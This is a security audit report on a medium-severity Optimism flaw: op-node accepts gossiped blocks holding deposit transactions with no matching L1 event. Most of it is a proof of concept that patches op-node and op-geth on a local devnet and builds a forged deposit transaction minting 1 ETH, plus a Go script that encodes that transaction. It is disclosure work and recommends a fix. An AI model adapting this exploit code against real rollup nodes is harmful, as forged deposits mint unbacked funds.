Bobface
medium
Node accepts blocks from the sequencer which contain non-existent deposit transactions via the gossip network
The consensus client op-node
accepts blocks from the sequencer which contain non-existent deposit transactions via the gossip network.
The op-node
consensus client is connected to other nodes via a peer-to-peer gossip network. The gossip network supports messages of type ExecutionPayload
, through which blocks can be propagated throughout the network before they can be derived from the L1 state. Upon receiving such a message, the node checks the block for validity, such as checking the block hash and transaction signatures. Afterwards, the node passes the block to the execution client op-geth
using the engine_NewPayloadV1
API endpoint, which then appends it to its chain.
Optimism blocks can contain special transactions known as deposit transactions with type 0x7E
. These transactions are used for executing L1 -> L2 transactions which were initiated on L1 through the OptimismPortal
. When a message is sent through OptimismPortal
, an event is emitted, which will be picked up by the sequencer, which will then include a deposit transaction in one of the next blocks it generates, and the block is distributed to other nodes over the gossip network.
Nodes receiving this block will check it for validity as described earlier, but an important step is missing: deposit transactions are not checked. Upon receiving the block over the network, the node will run it through p2p/gossip.go@BuildBlocksValidator
to check that:
- the message size is not too large to avoid DoS attacks
- the message originates from the sequencer
- the block has a valid SSZ encoding
- the timestamp is within bounds
- the block hash is correct
Afterwards, the block is queued for execution and picked up by rollup/derive/engine_queue.go@tryNextUnsafePayload
which, when pendingBlockNumber = tipBlockNumber + 1
will try to append it to the chain by sending it to the execution client using the engine_NewPayloadV1
RPC call.
The execution client will then further verify the block in eth/catalyst/api.go@NewPayloadV1
to, among other things, check that:
- the block has is correct
- the gas limit is not exceeded
- the transactions have a valid signature and nonce
- ...
Finally, the block is appended to the chain.
What's missing in this process is validating deposit transactions. Since these kinds of transactions do not have a signature, the only way to validate them would be to check whether a corresponding event has been emitted on the L1 OptimismPortal
. When deriving L2 state from L1 state, this is what happens, but when receiving blocks via the gossip network, this does not take place, and would thus allow non-existent deposit transactions to be included in blocks by the sequencer.
Deposit transactions can be invoked from any account since they only have a From
field but no signature, and have a Mint
field which mints ETH on L2. Damage could be caused by this issue through a misbehaving sequencer, e.g.:
- Malicious party gains access to the sequencer and purposefully send out bad blocks, or
- Bug in the sequencer causes invalid deposit transactions to be included in blocks
In both cases, the non-sequencer nodes on the network would accept these blocks and append them to their local chain.
Below follows the PoC. For ease-of-use, it is designed to run from within the clients itself and simulate an incoming gossip message, instead of actually sending the message over a network connection.
The code snippets assume that you use an editor which automatically adds imports for Go files upon saving. If not, you might have to manually update the imports.
When the op-node
starts, an incoming gossip message in simulated in JoinGossip
, which is then picked up by tryNextUnsafePayload
.
tryNextUnsafePayload
checks for the block number to be the magic number 123123123123
, which means that it is our local simulated message. Some values, such as the state root after the block is appended are dynamically calculated in getPocValues
by using the custom engine_getPocValues
method, which simulates the state after the block is appended. The RPC method is called twice: first to get the merkle roots, and then again to get the block hash. Since we do not know the block hash during the RPC calls, we earlier commented-out the block hash check which would fail here.
The filled-in message is then used by the existing logic to make a RPC call to engine_NewPayloadV1
, which hands the block over to the execution client. The execution client verifies the block and appends it to the chain.
Note that we skip the BuildBlocksValidator
check in this PoC -- this is also for ease-of-use, as including this check would make the PoC significantly more complicated. It should be clearly visible which checks this method applies to incoming messages by just looking through the function, and that these checks would not reject the block we generate in the PoC.
Apply the changes to the source files as they are listed below.
Then navigate into the op-geth
directory and run docker build -t op-geth-local .
. This will build the local image of op-geth
with the included GetPocValues
helper RPC method. We earlier updated the Dockerfile.l2
to use this local image.
Navigate into the op-node
directory and run ./ops-bedrock/devnet-up.sh
to boot the devnet. Then navigate into the ops-bedrock
directory, wait at least 10 seconds, and run docker-compose logs | grep "XX"
. You should see output similar to this:
op-node_1 | XX: Balance before 0x0
op-node_1 | XX: Received payload execution result status VALID latestValidHash 0xc28de6f8af777e51147d6b92328b66db85734ff0ef0644b891f5af801ec0a6b5 message <nil>
op-node_1 | XX: Balance after 0xde0b6b3a7640000
This demonstrates that the block was successfully appended to the chain and 1 ETH minted. To restart the PoC, run docker-compose down -v
and then start again.
Note: Roughly every tenth execution the message seems to not get picked up by tryNextUnsafePayload
and no output produced. I was not able to figure out why, but if this happens, simply start the process again.
1. p2p/gossip.go
Overwrite the end of JoinGossip
starting at L440 with the following code. This will simulate a ExecutionPayload
message coming in from the p2p network.
handler := BlocksHandler(gossipIn.OnUnsafeL2Payload)
subscriber := MakeSubscriber(log, handler)
go subscriber(p2pCtx, subscription)
go func() {
for {
// Simulate an incoming gossip message.
// The actual `ExecutionPayload` will be built in the handler.
// The block number is set so the handler can check whether it's handling our own message.
time.Sleep(10 * time.Second)
handler(context.Background(), *new(peer.ID), ð.ExecutionPayload{
BlockNumber: 123123123123,
})
}
}()
return &publisher{log: log, cfg: cfg, blocksTopic: blocksTopic, runCfg: runCfg}, nil
2. rollup/derive/engine_queue.go
Update type Engine interface
at the top of the file to include a GetPocValues(payload *eth.ExecutionPayload) (map[string]interface{}, error)
method.
type Engine interface {
GetPayload(ctx context.Context, payloadId eth.PayloadID) (*eth.ExecutionPayload, error)
ForkchoiceUpdate(ctx context.Context, state *eth.ForkchoiceState, attr *eth.PayloadAttributes) (*eth.ForkchoiceUpdatedResult, error)
NewPayload(ctx context.Context, payload *eth.ExecutionPayload) (*eth.PayloadStatusV1, error)
GetPocValues(payload *eth.ExecutionPayload) (map[string]interface{}, error)
PayloadByHash(context.Context, common.Hash) (*eth.ExecutionPayload, error)
PayloadByNumber(context.Context, uint64) (*eth.ExecutionPayload, error)
L2BlockRefByLabel(ctx context.Context, label eth.BlockLabel) (eth.L2BlockRef, error)
L2BlockRefByHash(ctx context.Context, l2Hash common.Hash) (eth.L2BlockRef, error)
SystemConfigL2Fetcher
}
Insert the following if
statement to the top of tryNextUnsafePayload
. This statement will check whether the current message is our own and update it accordingly.
func (eq *EngineQueue) tryNextUnsafePayload(ctx context.Context) error {
first := eq.unsafePayloads.Peek()
if first.BlockNumber == 123123123123 {
// If this is our own message, fill in the message through `updateForPoc`
fmt.Println("XX: Balance before", getBalance("0x8843cdd0Bad94203C26acB2a23af92806D77F331"))
eq.updateForPoc(first)
}
// ...
In the same method, at the following print before the end of the method:
fmt.Println("XX: Balance after", getBalance("0x8843cdd0Bad94203C26acB2a23af92806D77F331"))
return nil
Finally, append the following methods to the end of the file:
func (eq *EngineQueue) updateForPoc(payload *eth.ExecutionPayload) {
// This method will fill in the `ExecutionPayload` data.
//
// Some data is pre-calculated, such as the `tx`, which is a 0x7E deposit transaction
// which will mint 1 ETH to 0x8843cdd0Bad94203C26acB2a23af92806D77F331
//
// Other data is dynamically calculated or fetched from the execution node,
// such as the receipts or state root.
//
// In a real scenario, all these values would be calculated by the attacker
// before sending the message over the gossip network.
// However, it is significantly easier to do this from within the application itself,
// since it has all required data readily available. That is why we are doing it here for the PoC.
// Decode the tx
tx, _ := hex.DecodeString("7ef90161a00000000000000000000000000000000000000000000000000000000000000000948843cdd0bad94203c26acb2a23af92806d77f331948843cdd0bad94203c26acb2a23af92806d77f331880de0b6b3a764000080830f424080b90104015d8eb9000000000000000000000000000000000000000000000000000000000000007b000000000000000000000000000000000000000000000000000000000000007b000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007b0000000000000000000000008843cdd0bad94203c26acb2a23af92806d77f33100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001")
// Build the payload
*payload = eth.ExecutionPayload{
ParentHash: eq.unsafeHead.Hash,
FeeRecipient: common.HexToAddress("0x8843cdd0Bad94203C26acB2a23af92806D77F331"),
StateRoot: [32]byte{},
ReceiptsRoot: [32]byte{},
BlockNumber: hexutil.Uint64(eq.unsafeHead.Number + 1),
GasLimit: 10_000_000,
GasUsed: 1_000_000,
Timestamp: hexutil.Uint64(time.Now().Unix() + 1),
BaseFeePerGas: *new(uint256.Int).SetUint64(7),
ExtraData: []byte{},
BlockHash: common.HexToHash("0x0000000000000000000000000000000000000000000000000000000000000000"),
LogsBloom: [256]byte{},
Transactions: []eth.Data{tx},
}
// Request values for the first time, ignoring the block hash
logsBloom, receiptsRoot, stateRoot, _, err := eq.getPocValues(payload)
if err != nil {
return
}
payload.LogsBloom = logsBloom
payload.ReceiptsRoot = receiptsRoot
payload.StateRoot = stateRoot
// Request values a second time, this time for the block hash
_, _, _, blockHash, err := eq.getPocValues(payload)
if err != nil {
return
}
payload.BlockHash = blockHash
}
func (eq *EngineQueue) getPocValues(payload *eth.ExecutionPayload) ([256]byte, [32]byte, [32]byte, [32]byte, error) {
// Fetches merkle roots from the execution node
resp, err := eq.engine.GetPocValues(payload)
if err != nil {
fmt.Println("XX: ", err)
return [256]byte{}, [32]byte{}, [32]byte{}, [32]byte{}, err
}
logsBloomSlice, _ := hex.DecodeString(resp["bloom"].(string)[2:])
var logsBloom [256]byte
copy(logsBloom[:], logsBloomSlice)
receiptsRootSlice, _ := hex.DecodeString(resp["receiptsSha"].(string)[2:])
var receiptsRoot [32]byte
copy(receiptsRoot[:], receiptsRootSlice)
stateRootSlice, _ := hex.DecodeString(resp["stateRoot"].(string)[2:])
var stateRoot [32]byte
copy(stateRoot[:], stateRootSlice)
blockHashSlice, _ := hex.DecodeString(resp["blockHash"].(string)[2:])
var blockHash [32]byte
copy(blockHash[:], blockHashSlice)
return logsBloom, receiptsRoot, stateRoot, blockHash, nil
}
func getBalance(addr string) string {
jsonParams := map[string]interface{}{"jsonrpc": "2.0", "method": "eth_getBalance", "params": []interface{}{addr, "latest"}, "id": 0}
jsonMarshalled, err := json.Marshal(jsonParams)
if err != nil {
return err.Error()
}
resp, err := http.Post("http://l2:8545", "application/json", bytes.NewReader(jsonMarshalled))
if err != nil {
return err.Error()
}
defer resp.Body.Close()
byt, err := io.ReadAll(resp.Body)
if err != nil {
return err.Error()
}
var respMap map[string]interface{}
if err := json.Unmarshal(byt, &respMap); err != nil {
return err.Error()
}
return respMap["result"].(string)
}
3. sources/engine_client.go
In NewPayload()
, at the following if
statement after CallContext
:
err := s.client.CallContext(execCtx, &result, "engine_newPayloadV1", payload)
isOurs := len(payload.Transactions) == 1 && len(payload.Transactions[0]) == 357
if isOurs {
fmt.Println("XX: Received payload execution result", "status", result.Status, "latestValidHash", result.LatestValidHash, "message", result.ValidationError)
}
Add the following function to the end of the file:
func (s *EngineClient) GetPocValues(payload *eth.ExecutionPayload) (map[string]interface{}, error) {
result := make(map[string]interface{})
err := s.client.CallContext(context.Background(), &result, "engine_getPocValues", payload)
return result, err
}
4. ops-bedrock/Dockerfile.l2
Replace the first line to use a local image:
FROM op-geth-local:latest
1. core/beacon/types.go
Comment-out the if
statement from L188-L190. This will disable the block hash check for the custom RPC method we add later. This does not mean that we skip verifying the block hash when adding the block to the chain, it only does so for our custom RPC helper method.
/*if block.Hash() != params.BlockHash {
return nil, fmt.Errorf("blockhash mismatch, want %x, got %x", params.BlockHash, block.Hash())
}*/
2. eth/catalyst/api.go
Add the following custom RPC method to the end of the file:
func (api *ConsensusAPI) GetPocValues(params beacon.ExecutableDataV1) (map[string]interface{}, error) {
// Decode txs
var txs = make([]*types.Transaction, len(params.Transactions))
for i, encTx := range params.Transactions {
var tx types.Transaction
if err := tx.UnmarshalBinary(encTx); err != nil {
return nil, fmt.Errorf("invalid transaction %d: %v", i, err)
}
txs[i] = &tx
}
// Calculate tx hash
resTxHash := types.DeriveSha(types.Transactions(txs), trie.NewStackTrie(nil))
// Build header
resHeader := &types.Header{
ParentHash: params.ParentHash,
UncleHash: types.EmptyUncleHash,
Coinbase: params.FeeRecipient,
Root: params.StateRoot,
TxHash: resTxHash,
ReceiptHash: params.ReceiptsRoot,
Bloom: types.BytesToBloom(params.LogsBloom),
Difficulty: common.Big0,
Number: new(big.Int).SetUint64(params.Number),
GasLimit: params.GasLimit,
GasUsed: params.GasUsed,
Time: params.Timestamp,
BaseFee: params.BaseFeePerGas,
Extra: params.ExtraData,
MixDigest: params.Random,
}
// Build block
resBlock := types.NewBlockWithHeader(resHeader).WithBody(txs, nil)
// Get the block hash
resBlockHash := resBlock.Hash()
// Get supplied block
block, err := beacon.ExecutableDataToBlock(params)
if err != nil {
return nil, err
}
// Get the parent
parent := api.eth.BlockChain().GetBlock(block.ParentHash(), block.NumberU64()-1)
// Setup state db
statedb, err := state.New(parent.Root(), api.eth.BlockChain().StateCache(), api.eth.BlockChain().Snapshots())
if err != nil {
return nil, err
}
// Enable prefetching to pull in trie node paths while processing transactions
statedb.StartPrefetcher("chain")
// Process block
processReceipts, _, _, err := api.eth.BlockChain().Processor().Process(block, statedb, *api.eth.BlockChain().GetVMConfig())
if err != nil {
return nil, err
}
// Get the bloom
resBloom := types.CreateBloom(processReceipts)
// Get the receipts sha
resReceiptSha := types.DeriveSha(processReceipts, trie.NewStackTrie(nil))
// Get the state root
resRoot := statedb.IntermediateRoot(true)
// Return the results
res := make(map[string]interface{})
res["blockHash"] = resBlockHash
res["bloom"] = resBloom
res["receiptsSha"] = resReceiptSha
res["stateRoot"] = resRoot
return res, nil
}
Manual Review
Deposit transactions received via the gossip network should be compared to the OptimismPortal
events emitted on L1 to verify their correctness.
The raw deposit transaction included in the message is generated using the following custom Go script:
package main
import (
"bytes"
"encoding/binary"
"encoding/hex"
"fmt"
"math/big"
"github.com/ethereum/go-ethereum/common"
"github.com/ethereum/go-ethereum/crypto"
"github.com/ethereum/go-ethereum/rlp"
)
const (
L1InfoFuncSignature = "setL1BlockValues(uint64,uint64,uint256,bytes32,uint64,bytes32,uint256,uint256)"
L1InfoArguments = 8
L1InfoLen = 4 + 32*L1InfoArguments
)
var (
L1InfoFuncBytes4 = crypto.Keccak256([]byte(L1InfoFuncSignature))[:4]
)
type DepositTx struct {
// SourceHash uniquely identifies the source of the deposit
SourceHash common.Hash
// From is exposed through the types.Signer, not through TxData
From common.Address
// nil means contract creation
To *common.Address `rlp:"nil"`
// Mint is minted on L2, locked on L1, nil if no minting.
Mint *big.Int `rlp:"nil"`
// Value is transferred from L2 balance, executed after Mint (if any)
Value *big.Int
// gas limit
Gas uint64
// Field indicating if this transaction is exempt from the L2 gas limit.
IsSystemTransaction bool
// Normal Tx data
Data []byte
}
type L1BlockInfo struct {
Number uint64
Time uint64
BaseFee *big.Int
BlockHash common.Hash
// Not strictly a piece of L1 information. Represents the number of L2 blocks since the start of the epoch,
// i.e. when the actual L1 info was first introduced.
SequenceNumber uint64
// BatcherHash version 0 is just the address with 0 padding to the left.
BatcherAddr common.Address
L1FeeOverhead [32]byte
L1FeeScalar [32]byte
}
func (info *L1BlockInfo) MarshalBinary() ([]byte, error) {
data := make([]byte, L1InfoLen)
offset := 0
copy(data[offset:4], L1InfoFuncBytes4)
offset += 4
binary.BigEndian.PutUint64(data[offset+24:offset+32], info.Number)
offset += 32
binary.BigEndian.PutUint64(data[offset+24:offset+32], info.Time)
offset += 32
// Ensure that the baseFee is not too large.
if info.BaseFee.BitLen() > 256 {
return nil, fmt.Errorf("base fee exceeds 256 bits: %d", info.BaseFee)
}
info.BaseFee.FillBytes(data[offset : offset+32])
offset += 32
copy(data[offset:offset+32], info.BlockHash.Bytes())
offset += 32
binary.BigEndian.PutUint64(data[offset+24:offset+32], info.SequenceNumber)
offset += 32
copy(data[offset+12:offset+32], info.BatcherAddr[:])
offset += 32
copy(data[offset:offset+32], info.L1FeeOverhead[:])
offset += 32
copy(data[offset:offset+32], info.L1FeeScalar[:])
return data, nil
}
func main() {
l1BlockInfo := L1BlockInfo{
Number: 123,
Time: 123,
BaseFee: new(big.Int).SetUint64(10),
BlockHash: common.HexToHash("0x0000000000000000000000000000000000000000000000000000000000000000"),
SequenceNumber: 123,
BatcherAddr: common.HexToAddress("0x8843cdd0Bad94203C26acB2a23af92806D77F331"),
L1FeeOverhead: [32]byte{00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 01},
L1FeeScalar: [32]byte{00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 01},
}
l1BlockInfoMarshalled, err := l1BlockInfo.MarshalBinary()
if err != nil {
panic(err)
}
to := common.HexToAddress("0x8843cdd0Bad94203C26acB2a23af92806D77F331")
tx := DepositTx{
SourceHash: [32]byte{00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00},
From: common.HexToAddress("0x8843cdd0Bad94203C26acB2a23af92806D77F331"),
To: &to,
Mint: new(big.Int).SetUint64(1000000000000000000),
Value: new(big.Int),
Gas: 1_000_000,
IsSystemTransaction: false,
Data: l1BlockInfoMarshalled,
}
var buf bytes.Buffer
buf.WriteByte(0x7E)
err = rlp.Encode(&buf, tx)
if err != nil {
panic(err)
}
res := buf.Bytes()
fmt.Println(hex.EncodeToString((res)))
}